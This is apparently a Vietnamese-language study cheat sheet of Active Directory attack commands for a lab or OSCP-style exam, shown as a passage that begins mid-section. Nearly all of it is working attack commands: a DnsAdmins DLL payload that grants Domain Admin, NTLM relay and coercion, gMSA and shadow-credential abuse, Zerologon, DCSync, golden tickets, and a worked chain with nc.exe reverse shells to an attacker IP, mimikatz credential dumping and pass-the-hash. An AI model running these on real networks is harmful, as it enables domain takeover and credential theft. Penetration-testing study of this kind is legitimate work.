-target-dn 'CN=<group>,CN=USERS,DC=dom,DC=local' '<dom>/<me>:<pass>'
bloodyAD -u <me> -p '<pass>' -d <dom> --host <dc> add groupMember '<group>' <me>
# → group có privs (helpdesk/backup/it) → enum members → spray/reset members
# WriteDacl trên USER → AddKeyCredentialLink (shadow creds — xem 4.6)
4.4 DnsAdmins → SYSTEM trên DC (đã arm thật trên DC02)
# 1. DLL 4 export bắt buộc: DnsPluginInitialize/Query/Update/Cleanup
# payload: system("net group \"Domain Admins\" <user> /add");
# x86_64-w64-mingw32-gcc -shared -o dns_plug.dll dvp9.c
# 2. Upload DLL lên share DC (Applications — machine account đọc được)
# 3. SET qua samba dnsserver DCERPC:
# python: samba.dcerpc.dnsserver → bind ncacn_ip_tcp:DC02
# DnssrvOperation2("ServerLevelPluginDll", "\\\\DC02\\Applications\\dns_plug.dll")
# op "Restart" cũng qua DnssrvOperation2
# 4. restart DNS → DLL chạy SYSTEM → user vào Domain Admins
SCM connect OK nhưng OpenService/StartService = rpc_s_access_denied · RAPI net rpc service cũng denied · WinRM/PSWA/RDP/TSCH đều chặn → DLL phải đúng exports ngay từ đầu (DLL sai = DNS chết toàn domain!)
4.5 NTLM Relay + Coercion
listener (TRONG lab net — host không route về VPN client):
impacket-ntlmrelayx --no-http-server -smb2support -t ldap://<dc> --delegate
coercer -u <user> -p '<pass>' -t <dc> -l <listener-ip> --always-continue
certipy-ad shadow auto -account '<dc>$' -dc-ip <dc>
impacket-ntlmrelayx --no-http-server -smb2…— shadow credscoercer -u <user> -p '<pass>' -t <dc> -l <listen…— hoặc -t ldaps://· --shadow-credentials · -t smb:// (mục tiêu admin) · coerce DC (4 vector đã prove): certipy-ad shadow auto -account '<dc>$' -d…— riêng lẻ: DFSCoerce (netdfs) · PetitPotam (efsr) · PrinterBug (spoolss) · MSEven (eventlog) · relay xong → shadow creds → certipy forge → DCSync
- SMB→LDAP: client requested signing trong NTLM flags → reject
- LDAPS: port 636 chết/thiếu cert → handshake 0 bytes
- WebClient/WebDAV không chạy → HTTP coerce không được
- Relay chỉ sống: target no-signing + LDAP signing off + LDAPS khỏe
4.6 gMSA / RBCD / Shadow creds
gMSA password (cần quyền đọc):
gMSADumper -u <user> -p '<pass>' -d <dom> -l <dc>
impacket-rbcd -action write -delegate-to "<target>$" -delegate-from "<ctrl>$" \
-hashes :<ctrl-nt> <dom>/<ctrl>$
certipy-ad shadow auto -u <user>@<dom> -p '<pass>' -account '<target>$'
gMSADumper -u <user> -p '<pass>' -d <dom> -l <dc…— msDS-ManagedPassword → NT hash gMSA$impacket-rbcd -action write -delegate-to "…— RBCD (GenericWrite trên COMPUTER — KHÔNG phải gMSA):certipy-ad shadow auto -u <user>@<dom> -p '<p…— rồi S4U: impacket-getST -spn host/<target> -impersonate administrator -hashes :· Shadow creds (GenericWrite + LDAPS sống):
ACE inherited từ OU chỉ áp user-class → write KeyCredentialLink/RBCD trên gMSA = INSUFF_ACCESS_RIGHTS.
4.7 Zerologon (CVE-2020-1472)
python zerologon_tester.py <dc-netbios> <dc-ip>
python zerologon_tester.py <dc-netbios> <d…— STATUS_INVALID_COMPUTE = patched⚠️ nếu vuln: impacket-zerologon → pw rỗng → secretsdump -no-pass → RESTORE pw sau!
4.8 DCSync (khi đã DA)
impacket-secretsdump <dom>/<da>:'<pw>'@<dc> -just-dc
impacket-secretsdump -just-dc-user <user> <dom>/<da>:'<pw>'@<dc>
lsadump::dcsync /user:<dom>\<user>
hashcat -m 1000 dcsync.txt rockyou.txt -r best64.rule
impacket-ticketer -domain <dom> -nthash <krbtgt-nt> -domain-sid <sid> -spn cifs/dc.dom -dc-ip <dc> administrator
export KRB5CCNAME=administrator.ccache && impacket-psexec -k -no-pass <dom>/administrator@<dc>
impacket-secretsdump <dom>/<da>:'<pw>'@<dc…— toàn NTDS.ditimpacket-secretsdump -just-dc-user <user> <do…— chỉ 1 user (nhanh)lsadump::dcsync /user:<dom>\<user>— mimikatz trên box DChashcat -m 1000 dcsync.txt rockyou.txt -r …— crack NT hashimpacket-ticketer -domain <dom> -nthash <k…— → krbtgt NTLM = Golden ticket:
⚠️ 5. GOTCHAS AD — đã trả học phí
- WS2022 chặn DnsAdmins: SCM/TSCH/WinRM/PSWA/RDP/remote-reg — chỉ DNS RPC (
DnssrvOperation2) sống - SMB relay chết khi client flags có signing — check
--gen-relay-listtrước - Machine account (
X$) đọc được phần lớn share — DLL payload host OK - PPL chặn LSASS dump — secretsdump qua RPC vẫn chạy
nxc/evil-winrmdomain user cần prefixDOM\\user- Kerberos clock >5' = SKEW →
faketime+TZ=UTC(đổi system date phá VPN cert!) - gMSA không ăn GenericAll inherited từ OU (user-class only) — RBCD/shadow-creds trên gMSA = INSUFF_ACCESS
- LDAPS listener có khi chết hoàn toàn (0 bytes) — test
openssl s_clienttrước - "RDP users" group ≠ builtin "Remote Desktop Users" — logon vẫn deny
- Zerologon
STATUS_INVALID_COMPUTE= patched — đừng thử exploit - LockoutBadCount=0 = spray vô hạn — đọc
GptTmpl.inftrong SYSVOL trước - DnsAdmins DLL phải đủ 4 export NGAY TỪ ĐẦU — DLL sai = DNS chết toàn domain
🔗 LINKS AD
| Technique | Link |
|---|---|
| AD attack paths | https://book.hacktricks.xyz/windows-hardening/active-directory-methodology |
| DnsAdmins ServerLevelPluginDll | https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dnsadmins-to-system |
| PetitPotam/DFSCoerce | https://github.com/topotam/PetitPotam · https://github.com/Wh04m1001/DFSCoerce |
| coercer all-in-one | https://github.com/p0dalirius/Coercer |
| ntlmrelayx / impacket | https://github.com/fortra/impacket |
| RBCD attack | https://github.com/tothi/rbcd-attack |
| gMSADumper | https://github.com/micahvandeusen/gMSADumper |
| certipy ADCS | https://github.com/ly4k/Certipy |
| Zerologon tester | https://github.com/SecuraBV/CVE-2020-1472 |
| BloodHound.py | https://github.com/dirkjanm/BloodHound.py |
| rusthound-ce (collector) | https://github.com/g0h4n/RustHound-CE |
| dacledit.py | https://github.com/fortra/impacket (impacket suite) |
| bloodyAD | https://github.com/CravateRouge/bloodyAD |
| PowerView | https://github.com/PowerShellMafia/PowerSploit |
| samba dnsserver RPC | https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html |
🏠 HOME · 🪟 02-WINDOWS (standalone)
🎬 WORKED CHAIN — AD Set OS-57172144 (3 máy, pivot — pattern chuẩn mọi AD set)
Topology: WS26 192.168.142.206 (RDP+SMB+WinRM, dải ngoài) → chisel pivot → SRV22 172.16.142.202 (MSSQL) → DC20 172.16.142.200
1 — WS26 foothold (creds từ exam panel):
xfreerdp /u:'r.andrews' /p:'BusyOfficeWorker890' /v:192.168.142.206
2 — WS26 privesc — task.bat writable, chạy mỗi phút quyền admin:
C:\Users\r.andrews\Downloads\nc.exe 192.168.49.142 80 -e powershell
- sửa
C:\Tasks\task.batgọi nc.exe — ≤1 phút có SYSTEM shell
3 — Loot creds trong app notes (SQLite):
sqlite3 Notes.db
C:\Documents\Simple Sticky Notes\Notes.db→ credssvc_sql
4 — Pivot chisel (Kali server, WS26 client):
./chisel server --port 8081 --reverse
.\chisel.exe client 192.168.49.142:8081 R:socks
- proxychains giờ reach được dải 172.16.142.x
5 — SRV22 foothold qua MSSQL xp_cmdshell:
proxychains impacket-mssqlclient OSCP/svc_sql@172.16.142.202
EXECUTE sp_configure 'show advanced options', 1; RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXECUTE xp_cmdshell 'whoami';
6 — SRV22 privesc SeImpersonate (service MSSQL):
.\PrintSpoofer.exe -c "nc.exe 172.16.142.206 80 -e powershell"
7 — Recon domain + dump creds trên SRV22:
.\SharpHound.ps1
iwr -uri http://172.16.142.206/mimikatz.exe -Outfile mimikatz.exe
.\mimikatz.exe "sekurlsa::logonpasswords"
- BloodHound tìm user có session/admin trên DC → mimikatz dump NTLM
a.betty
8 — DC20 domain compromise qua PtH:
proxychains evil-winrm -i 172.16.142.200 -u 'a.betty' -H <ntlm-hash>
⚠️ Mẫu lặp lại MỌI AD set: entry creds → privesc máy 1 → loot app creds → pivot → service (SQL) foothold → SeImpersonate → mimikatz session admin DC → PtH DC